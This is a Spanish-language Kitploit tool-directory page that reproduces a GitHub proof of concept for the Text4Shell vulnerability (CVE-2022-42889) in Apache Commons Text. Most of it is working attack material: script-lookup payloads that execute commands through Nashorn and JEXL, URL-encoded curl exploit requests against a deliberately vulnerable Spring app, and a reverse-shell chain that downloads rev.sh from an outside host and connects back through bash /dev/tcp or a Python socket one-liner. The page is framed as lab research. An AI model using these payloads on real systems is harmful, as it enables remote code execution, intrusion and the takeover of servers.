Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 alias Text4Shell investigación y PoC | Kitploit
Herramientas/GitHubGitHub/cxzero/cve-2022-42889-text4shell
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 alias Text4Shell investigación y PoC

Ver Repositorio
203hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-42889 alias text4shell

PoC para la vulnerabilidad recientemente descubierta vulnerabilidad en Apache Commons Text por @pwntester:

Como se menciona en https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:

La vulnerabilidad existe en el objeto interpolador StringSubstitutor. Se crea un interpolador mediante el método StringSubstitutor.createInterpolator() y permite búsquedas de cadenas según lo definido en StringLookupFactory. Esto se puede utilizar pasando una cadena “${prefix:name}” donde el prefijo es la búsqueda mencionada. El uso de las búsquedas “script”, “dns” o “url” permitiría que una cadena manipulada ejecute scripts arbitrarios al pasarla al objeto interpolador.

Versiones afectadas

Las versiones afectadas de Apache Commons Text son de la 1.5 a la 1.9. Se ha corregido en la versión 1.10.

Condiciones para ser explotado

  • Ejecutar una versión de Apache Commons Text desde la versión 1.5 hasta la 1.9
  • Usar la clase interpoladora StringSubstitutor

Para ser explotado de forma remota, la entrada controlada por el atacante debe ser utilizada como entrada para la interpolación de StringSubstitutor. En particular, en los métodos StringSubstitutor.replace() o StringSubstitutor.replaceIn()

Otros motores de script JavaScript

Desde JDK 15, el motor Nashorn JavaScript fue eliminado: https://openjdk.org/jeps/372. Pero si se incluyen dependencias de terceros como JEXL, podría ocurrir RCE en Apache Commons Text (https://twitter.com/pwntester/status/1582321752566161409)

Explotación

interpolador script

Se puede explotar para obtener RCE.

JDK < 15

Motor Nashorn:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

Si se usa JEXL de terceros:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

interpolador dns

Puede provocar una consulta DNS:

root@kitploit:~
${dns:address|commons.apache.org}

interpolador url

Se conecta a la URL especificada e intenta obtener el contenido:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Compilación manual del PoC

Plantilla basada en https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Ejecutar la app en Docker

Usando JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

Usando JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

PoCs proporcionados

Hay diferentes endpoints para probar los distintos vectores de ataque mencionados.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Usando Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

Usando JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

Obtener una reverse shell

Para simplificar, estoy usando la interfaz Docker predeterminada para el listener de netcat. Investigando, encontré estos payloads con reverse shells en bash y python que funcionan bien:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Donde rev.sh se sirve con estos posibles contenidos:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

Referencias

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Créditos a otros PoCs

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
Descargar herramienta